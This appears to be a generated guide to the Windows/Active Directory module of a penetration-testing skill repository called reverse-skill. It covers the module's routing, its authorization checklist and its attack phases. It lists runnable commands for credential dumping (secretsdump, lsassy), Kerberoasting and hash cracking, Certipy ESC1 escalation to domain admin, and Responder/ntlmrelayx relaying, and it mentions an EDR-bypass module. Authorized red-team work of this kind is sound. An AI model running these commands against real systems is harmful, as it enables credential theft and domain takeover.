How Windows and Active Directory Skills Are Handled by reverse-skill: Complete Architecture Guide

The reverse-skill repository treats Windows and Active Directory attacks as a self-contained skill module that enforces authorization-first policies through structured metadata, mandatory pre-execution checklists, and deterministic routing.

This guide examines how the windows-ad skill encapsulates AD penetration testing capabilities within the reverse-skill framework. Based on the zhaoxuya520/reverse-skill source code, you'll understand the routing mechanism, workflow enforcement, and practical command patterns that operators follow.

Windows/AD Skill Architecture Overview

The windows-ad skill follows the repository's modular design where each security capability is isolated in its own directory under skills/. This encapsulation ensures clean separation of concerns and enables deterministic intent routing.

Core Skill Components

Component	File Path	Purpose
Skill definition	skills/windows-ad/SKILL.md	Metadata, workflow, toolchain table, routing context
Attack path reference	skills/windows-ad/references/ad-attack-paths.md	Detailed AD technique mappings
Master routing	skills/MASTER-ROUTING.md	Central intent-to-skill mapping
Skill index	skills/INDEX.md	Auto-generated discovery list
Security rules	RULES.md	Repository-wide authorization policies

The skill's description field explicitly states it handles "authorized Active Directory and Windows identity attacks"—a critical signal for the routing engine and human operators alike.

How the Routing Engine Selects the Windows/AD Skill

The reverse-skill router implements a two-stage matching process for AD-related queries.

Stage 1: Intent Parsing from MASTER-ROUTING.md

When a user submits a query containing AD-related keywords (e.g., "enumerate AD trusts", "Kerberoasting", "BloodHound"), the router consults skills/MASTER-ROUTING.md. This central JSON configuration maps intents to skill files, guaranteeing deterministic selection.

Stage 2: Skill Activation and Validation

Once matched, the router loads skills/windows-ad/SKILL.md and evaluates the "路由上下文" (routing context) section. This metadata declares:

• Upstream triggers (what queries activate this skill)
• Downstream consumers (documentation generators, EDR-bypass modules)
• Required pre-conditions for execution

Mandatory Pre-Execution Workflow

The Windows/AD skill enforces strict operational discipline through its "ACTION REQUIRED" checklist. These steps are non-negotiable and gate all subsequent activity.

Pre-Flight Checks

1. Read precedent journal – Review prior actions in the target environment
2. Confirm authorized scope – Validate legal boundaries and engagement rules
3. Generate case-init (NOW steps) – Document operational intent with timestamp

These checks operationalize the repository's authorization-first policy defined in RULES.md. No tool execution proceeds without explicit completion markers.

Attack Workflow: From Enumeration to Exploitation

The windows-ad skill structures adversary simulation into four sequential phases, each with documented commands and evidence requirements.

Phase 1: Enumeration

The skill provides command templates for domain mapping and service discovery.

# NetExec (nxc) for SMB enumeration with valid credentials

nxc smb 192.168.1.0/24 -u alice -p password123

# BloodHound data collection for graph analysis

bloodhound-python -d corp.local -u alice -p password123 \
    -c All -ns dc01.corp.local

The "枚举" block in SKILL.md specifies these tools as prerequisites for informed exploitation.

Phase 2: Attack Path Identification

The skill references skills/windows-ad/references/ad-attack-paths.md for technique selection. Common paths include:

Attack Category	Technique	Tool Mapping
Credential access	Kerberoasting	Impacket GetUserSPNs.py
Permission abuse	ACL exploitation	BloodHound + manual DACL review
Delegation attacks	Unconstrained/constrained delegation	Impacket findDelegation.py
AD Certificate Services	ESC1–ESC8 template abuse	Certipy
Authentication coercion	NTLM relay	Responder + ntlmrelayx.py

Phase 3: Credential Harvesting and Lateral Movement

The "凭证与横向" (credentials and lateral movement) section documents post-compromise actions.

# Dump SAM/NTDS with secretsdump

secretsdump.py corp\\alice:password123@dc01.corp.local

# Extract LSASS memory with lsassy (alternative to Mimikatz)

lsassy -d corp.local -u alice -p password123 192.168.1.10

Phase 4: Evidence Recording and Checklist Verification

After each action, operators must:

• Record command output and timestamps
• Answer the mandatory check: "是否先有图/枚举再有利用？" (Were graphing/enumeration performed before exploitation?)

This enforces the skill's evidence-first discipline.

Toolchain Integration and Management

The Windows/AD skill declares its dependencies in a structured "工具链" (toolchain) table within SKILL.md. This enables automated environment validation.

Tool	Purpose	Required Version
BloodHound	AD graph generation and analysis	Latest ingestor + GUI
Impacket	Core protocol attacks (SMB, LDAP, Kerberos)	0.12.0+
Certipy	AD-CS certificate abuse	4.8.0+
Responder	LLMNR/NBT-NS/mDNS poisoning	3.1.3+
NetExec (nxc)	Modern SMB/WinRM enumeration	1.1.0+

The skill integrates with skills/tool-index.md.template for automated dependency checking during router initialization.

Practical Command Reference

Below are complete, runnable patterns for common AD engagements. All commands assume prior authorization and completed pre-flight checks.

Kerberoasting with Impacket

# Request service tickets for SPN-associated accounts

GetUserSPNs.py corp.local/alice:password123 -outputfile spns.txt

# Crack offline with Hashcat

hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt

AD-CS Template Abuse (ESC1) with Certipy

# Enumerate certificate templates

certipy find -d corp.local -u alice -p password123 -target dc01.corp.local -vulnerable

# Request certificate with arbitrary SAN for domain admin

certipy req -d corp.local -u alice -p password123 \
    -target dc01.corp.local -ca "CORP-CA" \
    -template "VulnerableTemplate" -upn administrator@corp.local

# Authenticate with certificate via PKINIT

certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

NTLM Relay Attack Chain

# Terminal 1: Start Responder for name poisoning

sudo responder -I eth0 -wrf

# Terminal 2: Launch relay with SOCKS proxy for pivoting

ntlmrelayx.py -tf targets.txt -smb2support -socks

Routing Context and Downstream Integration

The Windows/AD skill declares explicit relationships with other repository modules:

• Upstream: Activated by AD-specific intents from MASTER-ROUTING.md
• Downstream: Feeds output to docs-generator (auto-documentation) and edr-bypass-research (evasion technique development)

This graph-based relationship system enables complex multi-skill workflows while maintaining traceability.

Summary

• Windows and Active Directory skills in reverse-skill are encapsulated as the windows-ad skill module at skills/windows-ad/SKILL.md
• Deterministic routing through skills/MASTER-ROUTING.md ensures AD queries map to the correct skill
• Authorization-first enforcement via mandatory "ACTION REQUIRED" checklists gates all exploitation
• Structured workflow progresses from enumeration → path identification → credential harvesting → evidence recording
• Toolchain transparency via the "工具链" table enables automated dependency validation

Frequently Asked Questions

What file contains the complete Windows/AD skill definition?

The skill is fully defined in skills/windows-ad/SKILL.md. This file contains the metadata description, workflow blocks, toolchain table, routing context, and mandatory checklists. Attack technique details are referenced from skills/windows-ad/references/ad-attack-paths.md.

How does reverse-skill enforce authorization before AD attacks?

The windows-ad skill requires completion of an "ACTION REQUIRED" checklist before any tool execution. Operators must document precedent review, scope confirmation, and case initialization with timestamps. This operationalizes the "授权先行" (authorization first) policy from RULES.md.

Can the routing engine handle mixed AD and non-AD queries?

Yes. The skills/MASTER-ROUTING.md configuration supports multi-intent disambiguation. AD-specific keywords trigger the windows-ad skill, while overlapping terms can activate multiple skills with dependency resolution handled through the routing context declarations in each skill's metadata.

What tools are required to run Windows/AD skill workflows?

The toolchain requires BloodHound (graph analysis), Impacket (protocol attacks), Certipy (AD-CS abuse), Responder (coercion), and NetExec (modern enumeration). The skill validates tool availability through skills/tool-index.md.template during router startup.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}